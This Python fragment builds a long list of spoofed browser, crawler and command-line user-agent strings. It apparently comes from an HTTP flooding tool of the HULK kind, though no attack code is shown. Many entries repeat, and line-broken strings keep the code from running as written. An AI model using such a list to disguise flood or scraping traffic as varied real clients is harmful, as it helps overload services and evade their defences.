headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83;
http://www.80legs.com/webcrawler.html) Gecko/2008032620')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
AddSugarSpiderBot www.idealobserver.com')
headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0;
+http://www.anyapex.com/bot.html)')
headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0
compatible; +http://www.become.com/site_owners.html)')
headers_useragents.append('BillyBobBot/1.0
(+http://www.billybobbot.com/crawler/)')
headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0;
+http://www.bing.com/bingbot.htm)')
headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775;
i686-pc-linux-gnu)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
http://www.yodao.com/help/webmaster/spider/; )')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link
Checker ([email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-
[email protected]; http://www.WISEnutbot.com)')
headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)
AppleWebKit/420+ (KHTML, like Gecko)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET
CLR 3.5.30729; Avant Browser)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)
AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3
Safari/532.2')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
ChromePlus/1.5.1.1')
headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C
4.7.1; text)')
headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)
AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)
Gecko/20100101 Thunderbird/24.4.0')
headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0;
+http://www.abilogic.com/bot.html)')
headers_useragents.append('SiteBar/3.3.8 (Bookmark Server;
http://sitebar.org/)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2;
en-ca)')
headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0;
Macintosh)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
{1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
acc=baadshah; acc=none; freenet DSL 1.1; (none))')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
en) Opera 8.51')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)
AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729;
.NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a;
Palm-Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT
5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT
6.0; en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686;
80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0; WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X
10_6_7; ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT
6.1; Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X
10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205
Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT
6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729;
InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-
US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows
3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America
Online Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; .NET CLR 1.1.4322)')
headers_useragents.append('Googlebot/2.1
(http://www.googlebot.com/bot.html)')
headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en)
Presto/2.2.0')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)
AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT
5.1; Trident/5.0)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT
5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT
6.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows
98)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE
5.5; yahooseeker at yahoo-inc dot com ;
http://help.yahoo.com/help/us/shop/merchant/)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729;
.NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT
6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('AppEngine-Google;
(+http://code.google.com/appengine; appid: webetrex)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; SV1; .NET CLR 1.1.4322)')
headers_useragents.append('Links (2.1pre15; FreeBSD 5.4-STABLE i386;
158x58)')
headers_useragents.append('Wget/1.8.2')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; en) Opera 8.0')
headers_useragents.append('Mediapartners-Google/2.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.5) Gecko/20031007 Firebird/0.7')
headers_useragents.append('Mozilla/4.04 [en] (WinNT; I)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.7.12) Gecko/20060205 Galeon/2.0.0 (Debian package 2.0.0-2)')
headers_useragents.append('lwp-trivial/1.41')
headers_useragents.append('NetBSD-ftp/20031210')
headers_useragents.append('Dillo/0.8.5-i18n-misc')
headers_useragents.append('Links (2.1pre20; NetBSD 2.1_STABLE i386;
145x54)')
headers_useragents.append('Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.7d')
headers_useragents.append('Lynx/2.8.5rel.3 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.7d')
headers_useragents.append('Links (2.1pre19; NetBSD 2.1_STABLE sparc64;
145x54)')
headers_useragents.append('Lynx/2.8.6dev.15 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.7d')
headers_useragents.append('Links (2.1pre14; IRIX64 6.5 IP27; 145x54)')
headers_useragents.append('Wget/1.10.1')
headers_useragents.append('ELinks/0.10.5 (textmode; FreeBSD 4.11-STABLE
i386; 80x22-2)')
headers_useragents.append('Links (2.1pre20; FreeBSD 4.11-STABLE i386;
80x22)')
headers_useragents.append('Lynx/2.8.5rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.7d-p1')
headers_useragents.append('Opera/8.52 (X11; Linux i386; U; de)')
headers_useragents.append('Mozilla/5.0 (X11; U; NetBSD i386; en-US;
rv:1.8.0.1) Gecko/20060310 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/5.0 (X11; U; IRIX64 IP27; en-US; rv:1.4)
Gecko/20030711')
headers_useragents.append('Mozilla/4.8 [en] (X11; U; IRIX64 6.5 IP27)')
headers_useragents.append('Mozilla/4.76 [en] (X11; U; SunOS 5.8 sun4m)')
headers_useragents.append('Opera/5.0 (SunOS 5.8 sun4m; U) [en]')
headers_useragents.append('Links (2.1pre15; SunOS 5.8 sun4m; 80x24)')
headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.7d')
headers_useragents.append('Wget/1.8.1')
headers_useragents.append('Wget/1.9.1')
headers_useragents.append('tnftp/20050625')
headers_useragents.append('Links (1.00pre12; Linux 2.6.14.2.20051115 i686;
80x24) (Debian pkg 0.99+1.00pre12-1)')
headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1
GNUTLS/1.0.16')
headers_useragents.append('Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7)
Gecko/20051122')
headers_useragents.append('Wget/1.7')
headers_useragents.append('Lynx/2.8.2rel.1 libwww-FM/2.14')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.2; de) Opera 8.53')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.2; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.7e')
headers_useragents.append('Links (2.1pre20; SunOS 5.10 sun4u; 80x22)')
headers_useragents.append('Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.7i')
headers_useragents.append('Mozilla/5.0 (X11; U; FreeBSD i386; en-US;
rv:1.8) Gecko/20060202 Firefox/1.5')
headers_useragents.append('Opera/8.51 (X11; Linux i386; U; de)')
headers_useragents.append('Emacs-W3/4.0pre.46 URL/p4.0pre.46 (i386--
freebsd; X11)')
headers_useragents.append('Links (0.96; OpenBSD 3.0 sparc)')
headers_useragents.append('Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.6c')
headers_useragents.append('Lynx/2.8.3rel.1 libwww-FM/2.14')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)')
headers_useragents.append('libwww-perl/5.79')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0; en) Opera 8.53')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE;
rv:1.7.12) Gecko/20050919 Firefox/1.0.7')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.1; .NET CLR 1.1.4322; Alexa Toolbar)')
headers_useragents.append('msnbot/1.0 (+http://search.msn.com/msnbot.htm)')
headers_useragents.append('Googlebot/2.1
(+http://www.google.com/bot.html)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de;
rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.7.12) Gecko/20051008 Firefox/1.0.7')
